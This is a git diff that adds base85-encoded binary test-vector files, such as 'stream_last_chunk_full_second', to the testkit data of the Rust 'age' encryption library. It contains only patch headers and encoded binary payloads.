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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second b/lib/rage/age/tests/testdata/testkit/stream_last_chunk_full_second new file mode 100644 index 0000000000000000000000000000000000000000..8e9936df83629341dae39ddf83e0f6612de1ad0b GIT binary patch literal 131507 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 